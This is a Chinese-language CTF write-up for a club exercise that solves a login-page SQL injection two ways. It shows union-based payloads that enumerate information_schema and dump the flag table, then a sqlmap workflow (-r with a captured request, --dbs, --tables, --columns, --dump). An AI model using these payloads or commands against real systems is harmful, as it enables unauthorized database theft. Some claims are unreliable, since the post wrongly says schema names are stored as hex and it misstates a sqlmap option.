这是社团的题目,我现在就写出来吧,总共两种方法,一种手注,一种用工具(sqlmap).
一、手注(盲注)
1,我们打开题目,可以看到一个登陆页面,这是我们在输入框里面输入万能密码: ' and '1'=' ,然后我们在密码框输入 ' and '1'='1' union select 1,group_concat(schema_name),3 from information_schema.schemata# ,
这里上面的输入框是and,是为了让上面的报错,下面的输入框是and,是为了union后面的语句成功执行。这里我们是先爆出来数据库,可以看到如图所示的源码(这里看源码的时候千万不要点确认,要用Ctrl+u来看)。
2,这时我们爆出了数据库,下面我们爆表,我们在上面的输入框输入 ' and '1'='1 ,在下面输入' and '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# ,"database()表示当前的数据库"
3,爆出来了表,看到flag,是不是很激动,嘿嘿,接下来我们爆字段,
上面的输入框输入' and '1'='1 ,下面的输入框输入' and '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666C6167# ,这里的 0x666C6167 是flag的十六进制编码,因为在数据库里面,数据库和表和字段都是以十六进制储存的。
4,上面的输入框输入' and '1'='1 ,下面的输入框输入 ' and '1'='1' union select 1,group_concat(id,0x7e,flag),3 from flag# ,这里我们就可以看到flag了。
5,现在是不是感觉很简单啊,至此我的工作完成,你们的工作还得继续。任重而道远!
二、工具(sqlmap)
1,打开登录页面,在输入框里面里面随便输入数字,然后抓包(这里用burp suite抓包,没有这个工具的可以找我)得到数据,如下面的图所示。
2,把图中的数据复制下来,在sqlmap目录下面新建一个1.txt,文件,把复制的数据放1.txt文件里面,
然后打开sqlmap,输入sqlmap.py -r 1.txt --dbs ,如下图所示
3,得到下面数据。
4,得到库,接下来输入 sqlmap.py -r 1.txt -D web --tables ,这里也可以输入sqlmap.py -r 1.txt --tables -D web,结果都是一样的,
----爆表----。
5,得到表,下面爆字段,输入sqlmap.py -r 1.txt -D web -table flag --columns或者sqlmap.py -r 1.txt --columns -table flag -D web
6,下面就爆内容了,输入sqlmap.py -r 1.txt -D web -T flag -C flag --dump 或者输入sqlmap.py -r 1.txt --dump -D web -T flag -C flag 结果如图所示
7,在你们joker学长的帮助下(到用的他的图),终于完成了。(注:上面那些表,可以不用双引号的)。